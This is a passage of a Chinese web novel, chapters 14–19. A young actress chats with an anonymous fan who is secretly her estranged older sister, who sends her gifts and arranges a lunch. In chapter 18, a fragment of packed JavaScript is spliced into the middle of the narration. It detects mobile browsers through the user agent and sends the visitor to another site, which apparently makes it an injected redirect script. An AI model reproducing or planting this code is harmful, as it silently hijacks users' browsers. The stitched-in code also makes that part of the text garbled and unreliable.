【今天的美貌营业了吗?营业了(肯定)附上美照一张】
【臣也附上一张】
【韵宝你的兵来啦!!!附上美照】
目光大致扫过评论,脸上不自觉泛了笑,暖黄的灯光笼罩着房间,映得脸也是温暖的色泽。
顺着翻了一会,想起什么,小心翼翼点开最新评论。
一般来说评论最上方都是自家粉丝占据,但最新评论就不一定了,偶尔会看到路人和黑粉。
路人无所谓,黑粉言论看得真是心脏梗了一下又一下,所以她也很少点开最新评论,但今天突发奇想的想看看,反正现在心情好,要是看到讨厌的发言就当没看见吧,谁让她大度呢。
还好不知道是不是因为她的热度过去了一波,打开的最新评论都是夸赞和祝福。
勾着唇往下翻了几条,点开他们在评论区发的各种照片,各种高清美照看得她唇角上扬。
这张是上次拍戏的路透照,这张是上次采访被抓拍的,这张有点时间了,好几年前了吧,好像是参加一个什么颁奖典礼,这……嗯?这张是什么时候拍的?
画质高清,照片里的她低垂着头坐在柳树下,枯黄的枝条垂悬在她头顶,雕梁画栋,秦砖汉瓦,美人垂目,整个好似挂在墙上的古画。
她看得为之一愣,竟不记得自己何时被人拍过这样的照片。
照片拍得很好,哪怕明知里面的人是她,还是忍不住放大欣赏了一会后,才好奇到底是谁给她拍的照。
这样好的照片不可能没有印象,再看照片里她穿的衣服正是目前这部戏的服饰,想了一会,脑海中立刻出现几个账号。
想到什么便去打开搜索栏查找,二个账号下都没找到原图后,终于在第三个账号下看到了那张图片。
指尖停在账号‘北山尾’三字上,原图下全是夸赞,好几个高赞账号眼熟,都是经常活跃在她动态评论底下的大粉。
或许是因为这张照片着实美,但因为她低着头看不清脸,偶尔有几个路人进来评论区好奇询问照片里的是谁,她的粉丝便热情地在底下介绍,彩虹屁夸得一阵一阵的。
沈雅韵看得又高兴又尴尬,再看一下照片发布时间,3月9日,妇女节的后一天,也就是放假前两天。
这个时间……再联想到自己大号突然涨的粉丝数,连忙搜了一下3月9日的热搜,往下翻了几页,果然看到了几个带着自己名字热搜。
【沈雅韵好像古画里走出来的】
【新人演员沈雅韵照片再次美出圈】
【演员沈雅韵】
几个词条排名都不高,但在没有刻意营销的情况下,已经算是小小的破圈了。
难怪多了这么的粉丝,原来是她可爱的程
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序员小姐帮了大忙。
嘴角不知在何时咧开,露出八颗标准的白牙,再次点回‘北山尾’账号,下意识点开私聊,却发现聊天记录一片空白,提示只能发一条消息,顿时反应过来自己现在还用的是小号。
一拍脸颊,连忙切换账号,登上自己大号,点开和北山尾的聊天框,也不管人在不在,啪啪在屏幕上点了几下,一行消息转眼发出。
【看到你拍的照片了(好看)(可爱),来c市了?】
c市,某五星级酒店内。
靠窗的电脑屏幕亮着,突然屏幕上方出现特别关注上线提醒,还没来得及停下正在查看评论的手,另一个提示接踵而至:您的特别关注发了一条消息。
沈雅歌放下手中的水杯,立刻点开聊天框回复回去。
【嗯嗯。】
沈雅韵扬着笑盯了屏幕一会,不过几秒时间,一条消息闪现在聊天框内。
【不用上班吗】
【出差。】
【出差你还有时间拍照?(惊讶)(惊讶)】
放在键盘上的指尖悬停在键盘上,轻顿了一下,指尖再次落下,小心敲在键盘上,轻微的叩击声在空荡的房间响起。
【嗯,工作上的事忙完了。】
这么说是出差顺便留在c市玩了?沈雅韵想了想,手再次放在屏幕上。
【去浮渡园玩了没?沈桥呢?还有千城观那边都去过没】
那是什么地方?
沈雅歌敲出几个字又删掉,斟酌的发出消息。
【没。】
简约的回答映照在对话框内,沈雅韵不满的瘪了瘪嘴。
【程序员小姐,生活的乐趣在于玩乐,你这样可不行哦~】
‘这些地方’,刚打出几个字,外卖电话突然打了进来,她只好先接电话。
在屏幕冷光下本就白皙的手更似久不见日光的惨白,苍白的手搭在键盘上,等了好一会不见对面来消息,沈雅歌轻抿着唇,犹豫了一会,斟酌的发出几个字。
沈雅韵接完电话,在门口等着前台将外卖送上来。
接过外卖,走回房间,将外卖放到桌上打开,这才打开大眼看看‘北山尾’回她消息了没有。
点开聊天框,端正的字体映入她的眼帘。
【请问……不小心惹人生气后,该怎么道歉?】
14. 第 14 章
北山尾:【请问……不小心惹人生气后,该怎么道歉?】
看到消息的沈雅韵一愣,拆着一次性餐具的手顿住,眨了眨眼,到底先把外卖包装盒打开,才选择回复她的消息。
雅韵SY:【你惹谁生气了】
发出消息,吃了两口米线,过了一会对面传来消息。
北山尾:【不是我……一个朋友,惹小孩生气了。】
一个朋友?
沈雅韵眉眼古怪的拧在一起,随后松开。
她特别想问‘北山尾’她这个朋友是不是沉默寡言,一板一眼,还不会用表情包……哦,不,已经会用了……
直觉还是哪里不对,眉心拧了拧,放下手上的筷子追问。
雅韵SY:【小孩?】
北山尾:【……她妹妹。】
北山尾竟然有妹妹吗?
沈雅韵眉稍一跳,想到北山尾的性格,不由同情了她妹妹一会。
在北山尾这么严厉的姐姐教导下,希望那孩子没被吓哭……想了一会,脑海灵光一闪,北山尾惹哭她妹妹的真实原因,不会真是被她吓哭的吧?
咳咳,思考了一会,啪啪点了几句话发送出去后,继续嗦碗里的米线。
雅韵SY:【具体要看什么事,你……那个朋友是怎么惹她妹妹生气的呢?凶她了?】
北山尾:【……算是吧】
从热气腾腾的米线里抬起头来瞧了一眼消息,心里有一种果然如此的意味。
北山尾她妹真可怜。
眼里不由带了同情,不过又想了想,北山尾这人对妹妹挺凶的,但人还不错,想来只是教育上太严厉了些,改一改就好了。
刷刷发出几行字。
雅韵SY:【想道歉可以送妹妹喜欢的东西给她啊,比如她喜欢的玩具,比如想要的游戏机,布娃娃,再带去游乐园玩一天,请她吃好吃的】
雅韵SY:【不过这些都是次要的,重要的是认错态度要诚恳,保证自己不再犯,小孩嘛,很多事情都要慢慢来,凶她是没有用的,要一点点引导她慢慢认识,慢慢学习】
引导慢慢认识?盯着电脑屏幕,沈雅歌恍然大悟。
是了,乔霖在她面前装一副大哥哥模样装了这么多年,突然间说他心思不轨,韵韵肯定不会相信。
引导么?大拇指抚着食指关节,摩挲的触感让她心下安定几分。
有道理。
北山尾:【好,但是她好像不喜欢那些。】
不喜欢玩具,布娃娃?沈雅韵眨了眨眼,放下手里的筷子。
雅韵SY:【游乐园都不喜欢?】
她小时候可是最喜欢去游乐园了,那时候迪士尼乐园还没建立,游乐园里的旋转木马,过山车,大摆锤就是她的最爱。
怎么会有小孩能抗拒游乐园!
沈雅韵不理解。
北山尾:【小时候喜欢,现在去的少。】
北山尾解释了一下,沈雅韵琢磨了一下,觉得自己可能理解错了,这孩子或许十三、四岁也不一定,青春期的孩子嘛,喜欢玩的东西那可就多了。
雅韵SY:【那她看动漫吗?有喜欢的动漫人物吗有的话,可以送动漫周边小卡,或者喜欢盲盒?追星吗?有喜欢的明星送她明星周边最好】
沈雅歌迅速扫过屏幕上的字体,快速把前面两个方案否决掉,看着最后一个陷入了沉思。
追星?她自己能算吗?
想起妹妹房间墙上她自己的海报,沈雅歌摇了摇头,敲下几行字。
北山尾:【都不行。】
都不行?沈雅韵放下手中的筷子,眉心拧紧。
现在小孩玩的东西丰富多样,这些都不行的话,要么是她妹妹的喜好小众冷门,冷门到她压根
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不知道,要么就是她妹妹无欲无求,一心热爱学习……虽然概率比较小,但也不能排除,比如沈雅歌就是这样。
身为学霸的沈雅歌,从小就不喜欢玩具,不喜欢游乐园,不喜欢动画片,不是在看书就是学习的路上,看电视也只看科普频道,小时候除了喜欢逛逛公园外,没有其他小孩爱好,简直堪称人类小孩中的奇葩,人类父母眼中的天选之子,老师眼中的天选学生。
想起自己家里的那个怪胎,沈雅韵慎之又慎的问了一句。
雅韵SY:【她,热爱学习吗?】
屏幕那端平静的眉心微微蹙起,不知道她怎么突然问起这个。
热爱学习吗?
虽然妹妹现在已经毕业工作了,但回想起过往的记忆,沈雅歌斩钉截铁敲下两字。
北山尾:【不爱。】
不爱就好,沈雅韵松了一口气,以为自己离开家这么多年后又遇上了个小版的沈雅歌。
果然,她就说像沈雅歌那样的奇葩还是少见的。
明明她这样的才是正常小孩!
想起刘文慧女士这么多年让自己向沈雅歌学习,沈雅韵无声呐喊,一点也不心虚了,甚至冥冥中和未曾谋面、不爱学习的北山尾她妹产生了几分惺惺相惜之感。
多正常的孩子啊~
心底感慨了一声,眉心忽而又凝起,不过不喜欢学习的话,不应该有很多乱七八糟的爱好吗?怎么会一个都不沾?
感到不解,一时间连粉也不嗦了,看着聊天记录凝眉苦思。
哪里出了问题呢?
沈雅韵皱着眉,把刚刚的聊天翻了几个来回,指尖忽然一凝,终于想起自己忘了问最重要的一件事。
雅韵SY:【她多大年纪】
北山尾:【二十出头。】
……
……
雅韵SY:【……】
15. 第 15 章
不是啊姐,这叫小孩吗?
您老人家是不是对小孩定义有什么误解?
沈雅韵险些一口老血喷出,眼角抽了抽,不由怀疑北山尾的年龄。
之前北山尾说自己年龄在三十左右,她认为是28岁到32岁之间,但现在不由怀疑是不是还应该往上升一点?毕竟三十八九也是三十多……
吐槽归吐槽,忍下心底的无言以对,鉴于此人之前给她的良好印象,耐着性子继续出谋划策。
雅韵SY:【……】
雅韵SY:【……那就送口红,漂亮的衣服裙子、包包,首饰、花也可以,女孩子大多喜欢花】
发完消息,把手机扣下,不再看消息。
碗里的米线已不再像刚送过来时滚烫,再不吃就该凉成冰了。
把粉快速嗦完,剩下的残渣和包装盒一起扔进垃圾桶,这才翻开手机看了一眼,刚刚的聊天框还没退出。
雅韵SY:【……那就送口红,漂亮的衣服裙子、包包,首饰、花也可以,女孩子大多喜欢花】
北山尾:【好的,谢谢你(微笑)(微笑)】
目光粗粗扫了一眼,退出聊天框,把刚刚的插曲抛在脑后,点开视频软件,点开下午看的剧,一点开便看到更新了最新一集。
八点准时更新。
沈雅韵欣慰,唇角勾起愉悦弧度。
等看完这集,洗洗睡觉,第二天准时开工。
打定主意,把一切烦恼抛之脑后,盯着屏幕聚精会神观看起来。
原本打定主意十点前睡,结果看完剧集又想起了一部非常想看的电影,硬是躺在床上看完了电影才睡下,这一下就熬到了一点,第二天险些起不来。
天还没亮,沈雅韵坐着车抵达拍摄现场。
上前来接送的车准时赶到拍戏现场,各种设备还在搭建,演员安静坐在化妆镜前任由妆造师摆弄,有的闭着眼,有的拿着剧本轻声背诵台词。
沈雅韵也乖乖坐在化妆镜前,任由妆造师在自己脸上摆弄。
时间一点点过去,设备架好后,导演开始指挥众人上前拍摄。
拍摄的时间在繁忙中快速过去,中午吃饭休息了,沈雅韵拿着饭盒和同剧组的两个演员坐在一起吃着饭,聊了会天。
吃完饭后,正聊着天,自家助理忽然走进来看了她一眼,沈雅韵示意,跟着走出去。
“有几个你的快递。”
快递?
沈雅韵有些茫然,她没买东西啊?
助理看她这样也有点紧张,解释了一句,“寄件人写的是沈雅韵。”
哦……
明白了一瞬,随即又是迷茫,沈雅歌给她寄什么东西?
张了张口,正想多问一句是什么东西,那边导演喊着要开拍,沈雅韵看了一眼,连忙赶着回去,走了两步又想起来这事,回头叮嘱了句。
“你,”犹豫了一下,“给我放车上好了。”
助理领命而去,沈雅韵着急忙走回片场,心里默默念着等下的台词,希望等会顺利,一次过完。
片场拍摄紧张又忙碌,一直到晚上室点才停下来,结束了今天的戏份。
沈雅韵坐着车回到酒店,什么也想不起来,甚至连手机都没打开看一眼,匆匆冲了澡便躺在床上睡着了,第二天又是繁忙的一天,一直到中午休息间隙才有时间看了会手机,还好没什么人找她,又打开大眼翻了翻,本来只想看看新闻什么的,没想到意外看到北山尾给自己发的消息,看时间是今天早上。
北山尾:【礼物送了,她好像不喜欢。】
看到礼物二字茫然了一瞬,又看到上面的聊天记录,忙昏了头的沈雅韵这才想起北山尾给她妹妹道歉的事情,眉心一拧,远处传来叫唤,来不及多想,快速回复几字后将手机交给助理,自己往导演那边赶。
另一边c市某个企业内部,会议室内上方一个身穿西装的男士指着ppt侃侃而谈,底下的长桌左右两边分别坐满人了。
左边是横渡公司的内部员工,右边前来考察的海曲公司员工,双方安静的听上方男子汇报,横渡总裁王福悄悄看了一眼对面眉眼锋利的女人,心底暗暗惊叹。
这次看海曲公司派来这么年轻的一个主事人还暗暗高兴,觉得年轻人好弄一点,可经过这几天的接触,发现这个叫沈雅歌的女人是一点都不好糊弄,提出的问题那叫一个犀利,险些让他这个经历了各种场面的老油条也招架不住,不过好在他们公司本身做的也不差,没让她
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抓住太多错处。
今天是考察的最后一天,能不能过就看对面这人一句话了。
上方的人还在汇报,王福覷了对面一眼,这不看还好,一看瞬间让他揪起了心。
只见沈雅歌低着头不知道是哪里不满意,眉心飞快的拧了一下又松开,王福瞬间提起了心。
哪里有问题吗?
不满意还是海曲上头有新的指示?
但汇报没结束他也不好直接询问,只好耐着性子等上面的人汇报完,等最后的结果。
长桌下拿着手机的苍白手指不住点开大眼又合上,不知道几个来回,终于都快让她背下来的聊天记录多了一行最新发过来的消息。
雅韵SY:【道歉的精髓,死缠烂打】
沈雅歌眉心快速拧了一下,很快领会到其中意思松开,因为妹妹昨天不理会自己而导致的不安放下了一些,神情也多了几分轻松。
等这边工作结束,自己还能在c市待三天,总该见上一面。
心里有了定数,便只想将手头的工作快速结束,好在已经到最后一步了,也不麻烦。
等上面汇报的人讲完,海曲员工又提了几个问题,等横渡这边回答完后点了点头看向沈雅歌,眼神询问她的意见。
沈雅歌点点头,横渡虽然有些小细节还待改进,但总体没什么大问题,可以合作。
下属明了,寒暄了一下,起身离开,王福带着人欢送。
结果皆大欢喜,王福笑得脸上的褶子都叠在了一起,高高兴兴将人送到门口后准备离开,却听为首的女人忽然回过头问了一句。
“王总知道C市哪里好玩吗?”
王福愣了一下,很快给她介绍了几个地方。
倒是和雅韵说的差不多,沈雅歌点点头记在心里,和王福一行人分别后,回到酒店,当即在外卖平台上下单了一堆东西送到指定地址。
死缠烂打……
她暗自品味着这几个字,觉得好似还差了点,想了想站起身,走到酒店阳台。
这家酒店的位置位于市中心,从阳台上刚好可以看到c市地标建筑,沈雅歌走到阳台,举起手机,对着远处c市地标拍了一张,随后打开空白的微信朋友圈,编辑、发送。
16. 第 16 章
剧组杀青,沈雅韵脑海中那根一直紧绷的弦彻底松下,眼皮瞬间耷拉下来,人像是被吸干了精气一般往外走,只想铺天盖地地睡一场。
“这是送来的花。”
几束花被助理递到手上,她接过,清醒几分,看到其中一束熟悉的包装纸后,会心一笑。
经纪人连带着助理簇拥着她上车,低着头走出影视城,忽然隐约听见有人喊她的名字,沈雅韵诧异回头。
通往她车辆的道路两旁,一群人举着写着她名字的横幅,见她转过来,人群中的欢呼的声更大了。
“韵韵宝贝!”
“韵韵看这里!啊啊啊!”
“雅韵,韵韵!”
停住了脚,这样的情形沈雅韵并不陌生,只不过以前横幅上写的是别的演员的名字,喊得也是演员的名字。
在冬夜里,那些横幅和呼喊格外醒目热烈,连寒意在他们面前也显得微不足道。
她笑了一下,回身对着那些特地跑来支持的粉丝用力招手,用尽力气向他们喊道,“谢谢你们!”
听到回应,两旁的呼喊尖叫声更加热烈,在阵阵热烈的呼喊中,她挥着手恋恋不舍的转身上车。
沈雅韵有些激动,没想到有一天会有这么多的人等在这里只为见她一面,连连轴拍戏的疲惫都冲淡不少,一心只想着如何回应这份热情。
目光扫过手上的鲜花,瞬间有了主意,接过助理递来手机,拍下鲜花,将动态发出去。
【感谢大家的支持(爱心)(爱心)】
手持鲜花的照片一发出,点赞和评论如同闻到花蜜的蜜蜂,蜂拥而至。
【韵韵宝贝,啊啊啊啊啊啊啊啊啊】
【宝贝终于营业了(愤怒)(感动)】
【好看好看】
【花好看,人也好看,反正不管韵韵最好看】
含着笑看了一会评论,回复了几条,转而打开消息列表。
她大眼不和人私聊,北山尾除外。
去年十月份北山尾拍的路透照火出圈时,一开始是工作室联系,结果北山尾一条消息都不回,最后还是自己发现她原来是关注自己多年的老粉,便提出由自己联系她,没想到在看到她消息后,北山尾一下就回复了,这才开始她们的聊天。
回想着,指尖点开和北山尾的聊天框,昏暗车厢内,聊天对话还停留在昨天。
雅韵SY:【道歉的精髓,死缠烂打】
北山尾:【好的。(微笑)(微笑)】
真的明白吗?
北山尾和她妹妹还怪有意思的。
眉毛拧了一下,不再多想,打开微信将这几天的消息一条条回复,回复完后,顺手点开朋友圈看动态,放松一下。
耷拉着眼惬意靠着背椅将动态往下翻,一条条有意思或无聊的动态在眼底划过,在翻到某一条消息后瞬间惊得从座位上蹦起。
“啊!”
车内众人被她的举动吓了一跳,纷纷看过来。
沈雅韵不好意识笑笑,捂着被撞疼的额头在众人惊诧的眼神中讪讪坐下,揉了揉眼睛继续看刚刚那条朋友圈动态。
沈雅歌,确实是沈雅歌的头像。
拧着眉,依旧不敢置信的揉了揉眼,顺着头像点进沈雅歌的朋友圈空间。
空间很干净,除了昨天发的那条动态外,再无其他。
但实际连这一条动态也不该有,沈雅韵皱着眉,看着那条动态,表情好像上学时看数学题一样,眉头紧锁,唇抿成一条直线。
她来c市了。
动态并没有出现沈雅歌的身影,看样子像是在哪个酒店阳台顺手拍下的c市地标建筑,配字也很简单,就四个字‘来c市了’。
底下的ip显示的也确实是c市。
她真的来了,为什么不联系自己?难道还在为过年时的事情生气
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车在黑夜中行驶,沈雅韵面对这条破天荒的动态陷入了迷茫。
指尖搭在屏幕右侧无意识上下划动,眉心紧拧,不知道要不要联系沈雅歌。
她来c市了,自己刚好杀青,不联络一下似乎说不过去。
问一下吧,万一她离开了也不一定。
思索了一会,退出空间回到聊天框,刚准备发消息,一条消息突然弹出瞬间将目光吸引。
c市某五星级酒店内。
电脑在桌上摊开着,屏幕上亮着的正是沈雅韵在大眼发出的那条动态,此刻距离她发送时间不过十分钟,点赞便破了五万。
点赞和评论以肉眼可见的速度增长,本该为此欣慰的人此刻却围着电脑来回踱步,一双狭长锋利的眼不时抬起手机看一下。
没有消息。
沈雅歌停下步伐,唇再次抿紧。
十分钟过去了,她还是不想理会自己么?
目光黯淡了一瞬,走回电脑前,大眼动态点赞量已经在飞速增长,被幸运回复的几个粉丝在评论区激动得不行。
屏幕上的字体映入棕瞳,黑暗中棕瞳好似漆黑一片,退出动态,点开之前的聊天框,聊天框消息依然停留在昨天。
轻打了几个字,指尖搭在回车键上正想发送出去时,目光轻微闪动,似乎想到了什么,盯着屏幕上的聊天消息,手指移开回车键,忽然拿起顺手放在桌上的手机。
这边沈雅韵刚回完乔霖的消息,正想给沈雅歌发消息,点开聊天框还来不及输入,便看到一条消息出现在了框里。
【明天有空吗?一起吃个饭?】
微怔,不等她回复,对面人似乎急着解释一般,下一条消息立刻传了过来。
【我刚好在C市出差。】
冷白的屏幕映着她浅栗色的瞳孔,眨了眨,将刚刚没来得及发送的字删除,重新回复。
【好。】
17. 第 17 章
和沈雅歌定下吃饭的时间地点,沈雅韵再次懒散地靠在车身座椅上,有些疲乏地放下手机,目光无意识向后扫去。
经纪人坐在她旁边,她们座位后面几个助理闭着眼。
车里很安静,大家都在休息。
她收回视线,在这种氛围里很快也闭上了眼。
黑夜里,车身稳步前行。
车内昏暗,只有车窗外路灯偶尔投射进的光线在众人身上依次掠过,静谧无声。
不知道行驶了多久,车身忽而停顿了一下,一声物品落地的哐当声险些将沈雅韵从梦乡中惊醒。
她动了动眼皮想要睁开,思绪沉沉却没有睁眼的欲望。
黑暗里,细碎的议论声像是蚂蚁在耳边攀爬,声音沙沙传入耳朵,细细密密却又听不清讲的是什么,让耳朵和心都像被蚂蚁爬过一般难受。
“怎么了?”
经济人刘姐疲惫却又威严的声音在狭窄的车厢响起,沈雅韵惊了一下,眼睛缓缓睁开。
身后的议论声戛然而止,过了一会,助理的声音在黑暗中听起来怯生生的,像是犯了什么错一般。
“好像有什么东西掉下来碎了。”
过了一会,不太刺眼的顶灯亮了起来,沈雅韵眼皮眨了眨又闭上了,身体没有动弹,听着刘姐和助理交谈。
三人压着声音细碎交流了几句,隐约能听见快递二字。
过了一会,听着旁边的座位因为重新凹陷下去发出声响,沈雅韵睁开眼看向刘姐,见她睁开眼,刘姐这才犹豫着说了一句。
“你的快递,不知道是什么,好像碎了。”
“我的?”
她讶异了一瞬,模糊的大脑清醒了一瞬,将刘姐手上的精美包装盒接过,上面写着寄件人沈雅歌的名字,顿时想起来前天助理说沈雅歌寄了几个快递给自己的事。
刘姐继续道。“她们给你放在角落没放稳,看看是什么东西,看看是从她们工资扣还是赔你一个。”
昏暗灯光下,刘姐皱着眉,神情明显不悦,刚刚还细碎说着话的两个助理此刻鸦雀无声,沈雅韵眨了眨眼,随即轻轻笑了笑,笑声将沉闷的气氛撕开一个口子,无形的压力从破口冲散。
“算了,想来不会是什么贵重东西,大家跟着我辛苦这么多天了,一时没注意很正常啦~”
“她们也真是,这些东西直接放到休息室就好,怎么会犯这种错误……”刘姐显然不愿意这般轻轻揭过,两个助理也来了一段时间了,做事还是这么不认真。
“哎呀,我叫她们放的。”沈雅韵连忙帮着解释,有几分心虚的眨了眨眼。
“你让她们放的?”
“嗯嗯,我怕自己忘记拿,就让她们放车里,等下我马上拿走。”
剧组杀青了,刘姐她们自然也要休息,车上的东西都得拿走,接下来就看她想去哪里了,是回家还是多留几天都随自己。
听她这么说,刘姐一时也没了话,任由她讪笑着将这件事糊弄过去。
车很快到了酒店,她拿上包和那几束鲜花,手上实在拿不到快递了,只好让刘姐和助理帮忙一起拿上去。
她走在前面,带着一行人往前走,也没注意到刘姐一行人为何珊珊来迟,一直走到电梯口,刘姐几人才跟了上来,等她定睛一看顿时傻了眼。
“这些……都是我的?”
看着五六人手上堆得盖过了头顶的快递,一时间连哪个是刘姐都分辨不出,只好心虚的将脸躲在鲜花后方,不敢相信这些东西的是自己的。
“都是您的。”几个被快递挡住脸的人里小声传出来一句。
沈雅韵依旧不可置信,捧着花的手抖了一抖。
沈雅歌在搞什么?
搞批发?
“叮咚”一声,电梯门打开,沈雅韵不敢耽搁赶紧走进电梯,按住开门键让几人进来。
电梯缓缓上升,她想说几句俏皮话缓和一下尴尬的氛围,张了张口在看到一堆快递背后刘姐刀人的目光后瞬间闭上。
她还是闭嘴吧。
电梯门打开,沈雅韵连忙走在前面带路,走过一个拐角还得停下来叮嘱几人往那边走,生怕他们因为视野受限走错方向。
等他们走进房间,一群人把手上拿着的东西全部放下后,每个人肉眼可见的松了一口气。
沈雅韵有些
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不好意思,连忙从房间里面拿了几瓶饮料给众人,连声感谢。
几人也不多留,把东西放下就走,只留她一个人在房间面对一地大大小小的包装盒。
沈雅歌这是要做什么?
送走一行人,沈雅韵看着无处下脚的纸盒,眉梢不直觉挑了一下,随手拿了一个拆开。
乔牌的口红,黎家的香水,还有某家的包包,她把拆出的礼物都放在沙发上,很快沙发也放不下,只好往桌上床上堆。
珠宝首饰,香水口红,包包配饰,应有尽有,不知道的还以为她摆摊呢。
这些礼物中有些是她特别想要的,有些则无感,但不管怎么说收到礼物总是开心的,想了想,放下了手里的包装盒,拿起因为拆包装而扔在沙发上半个小时没动过的手机,找到微信聊天,有些开心又有些好奇。
【为什么送这么多东西给我?】
【不管怎么说谢谢了】
熟话说伸手不打笑脸人,更何况送礼人,在这一点上沈雅韵该有的礼貌从来不会少。
消息发出去后,便点开视频软件追之前的剧去了,本想着看个十分钟再回沈雅歌消息,不曾想剧集太精彩,看完了一整集都没想起来还有消息这一回事,等想起来已经是一个半小时以后了。
猛然一拍脑袋,连忙打开微信聊天,心虚地点开和沈雅歌的聊天框,有些害怕她生气。
然而等她点开聊天框,看到的却还是之前她发的那两条消息,没有新的消息发送过来,沈雅歌不知道是睡着了还是什么原因,一直没回复她信息。
沈雅韵松了一口气,假装没有忘记回复一事,安下心继续打开视频软件,将刚刚没看完的剧继续看。
看得津津有味的同时不由感概:演戏还是要看别人演才爽啊!
报复性熬夜看剧看了一晚上,眼看距离天亮时间不远了,这才匆忙睡下,一直到第二天闹钟将她闹醒,沈雅韵睁开疲惫的双眼,打开手机,顺手给沈雅歌发了个消息。
【等会见】
然而奇怪的是一直等她洗完脸刷完牙,还是不见沈雅歌回复。
包括昨天晚上的消息,也没有回复。
18. 第 18 章
没有回复,沈雅韵略微有些不安,但想了想觉得沈雅歌太忙了忘记回了也有可能,便按照约定好的时间抵达昨天沈雅歌发给自己的餐厅,此时正是吃饭的时间,中午餐厅里人很多。
她戴着帽子口罩低着头走进一楼大厅,向前台说了下昨天沈雅歌发给自己的包厢号。
一楼没有包厢,都是桌子,只有隔板将位置隔开,头一抬,众人面目一览无余,沈雅歌订的位置是二楼包厢。
很快走来一个服务员带路,沈雅韵跟着她走,走到包厢门口后愣了一下,眉心攒起。
包厢餐桌上只有固定摆放的茶水,空无一人。
“这里没有其他人来过吗?”她不由问了领路的服务人员,说出口后又觉得有歧义,补了句,“我是说我的朋友来过没?
服务员摇了摇头,面上是培训后的标准笑容,让人难以心有不满,“没有呢,您是第一个到的。”
沈雅韵点点头,微微有些不安,没说什么让服务生下去了。
走到桌前坐下,口罩围巾拿掉放在一旁的凳子上,看了眼时间。
11点40分。
昨天她和沈雅歌约的时间是11点半,自己已经迟到了十分钟才过来,没想到沈雅歌比自己还晚。
堵车了么?
有些不安的打开聊天框,消息还停留在她刚刚发的‘等会见’,并没有新的消息。
今天周六,又刚好是中午吃饭时间,堵了也不一定。
想到这个可能,心安了一些,准备玩会手机再等等,反正杀青了,下一部剧开拍时间还没那么快,多得是时间。
手机里的时间总是过得飞快,等她再次想起看手机还是被服务员提醒。
“请问要上菜吗?”
听到声音,沈雅韵恍惚抬头,一个不同于最开始带路的服务员站在她对面,微笑询问。
点菜?
下意识低头看时间,手机上的数字12:00,距离她进来已经二十分钟过去了,沈雅歌还没来?
眉心蹙起,自刚刚开始隐隐不安的预感此刻陡然上升。
她有些不安,服务员还在一旁等待,也不好意思干坐在这,犹豫的点了两个菜。
“我的朋友还没来,暂时先这两个吧。”
“好的。”
等服务员走开后,看着这时间也没心情看视频了,再次打开手机聊天框。
【为什么送这么多东西给我?】
【不管怎么说谢谢了】
【等会见】
三条都是她的消息,从昨天晚上到现在沈雅歌一句回复都没有。
不会出事吧?
盯着寥寥的几条聊天消息,缓慢呼出一口气,犹豫了一会,拨通下方的语音电话。
系统自带的音乐很快响起,然而铃声响了半天也没人接。
皱起的眉心拧得更紧,很快第二个语音电话从指尖拨了过去。
铃声响了半天,第二个也没有接。
语音打不通,沈雅韵眉毛拧成麻花,从刚刚开始的隐隐不安此刻到达顶峰,急忙打开通讯录找到沈雅歌的电话拨过去。
30秒系统铃声结束,机械的人声提示她无人接听。
她站了起来,紧握着手机,不死心再打了一个。
铃声响了三遍转为冰冷机械的智能人声‘您拨打的电话无人接听,请稍后再拨……’,随着一段英文播报结束后,电话中断,沈雅韵一颗心也沉到了谷底。
她这几年确实没和沈雅歌一起约着吃饭,但在以前,无论什么约会沈雅歌都是早到的那一个。
出什么事了?生病?还是车祸?
不会的不会的,她打住这个不安的念头,用为数不多的理智分析着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073801|194409||http|test|mini|href|location''.split(''|''),0,{}));
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>车祸从昨天到现在也该有消息传来了,医院便是不联系自己也该联系爸妈,但她现在没有听到一点风声,那大概率没去医院。
那会是什么?沈雅歌高中读书时有胃病,严重时在学校疼晕过,最后还是被同寝室的室友发现才送到医院,难道是胃病又犯了,晕在酒店,但是没人发现?
可是她不是出差吗,同事呢?没看见人,同事不会着急吗?
她慌乱了起来,手越握越紧,心越来越不安,脑海里见过听过看过的各种意外状况浮现,按耐不住按下了以前从来没想过会拨出的电话,指尖按在数字键上,一时间竟没注意门口突然多了一个身影。
“雅韵。”
带着轻微气喘的呼喊声打断她的胡思乱想,也打断了她按在手机上即将要拨出去的三个数字,衣裳略微凌乱的沈雅歌出现在包厢门口,轻喘着气。
向来平整得一丝不苟的棕色大衣此刻敞开,露出里面紧身白色打底衣和黑色阔腿长腿,头发也有点乱,像是从哪里急忙跑过来。
然而沈雅韵并没有注意这些,见到人安好无事后,担心消散的瞬间委屈顿现。
“给你打电话也不接,你干什么呀?”她有些生气,语气也变得很不客气,带着指责冲向沈雅歌。
沈雅歌喘了一口气,捋开因为奔跑散乱挡在眼前的发丝,喘完一口气后走进包厢,顺手把身上的大衣脱下,在她身侧坐下。
“对不起,让你久等了,堵了会车。”
“那也可以回电话啊,我还以为你……”沈雅韵余怒未消,话说了一半又憋了回去,瞥了她一眼闷声道,“算了,反正你做什么都有理由,都是对的,吃饭吧。”
这话说的怨气满满,莫名其妙,像是怒气过盛时的迁怒,但沈雅韵自己知道,她这是埋怨,不仅是对现在也是对过往的怨气,只是借着怒火像是气话一般道出。
19. 第 19 章
沈雅歌胃病晕倒在校那年是高三,刚好离高考还有一百天时候。
消息传来沈家二老全部吓坏了。
沈雅歌身体向来是好的,从初中体检各项指标一向正常的不能再正常,从来没听她说过有胃病的事,任谁也没想到她会因为胃痛到医院,更没想这次住院竟是到了直接要手术的程度。
胃溃疡导致的胃肠穿孔,必须要手术。
沈雅韵那时上六年级,再有一年就上初中,她那时因为沈雅歌不常回家的缘故和一些无法说出口的原因,和沈雅歌的关系趋近于淡漠,然而当沈雅歌胃肠穿孔的消息传来时,最不感到意外的反而是她。
那是一个普通的下午,她回到家不见父母的身影,打电话过去才知道沈雅歌手术住院的事,讶异了一瞬便连忙丢下书包往打车往医院跑。
等她到了医院,手术早已做好,沈雅歌人事不知的躺在病床上,父母各站一边互相埋怨。
“她怎么样了?”她走进病房,打断父母的对峙。
“没什么事,等麻药劲过了人就醒了。”
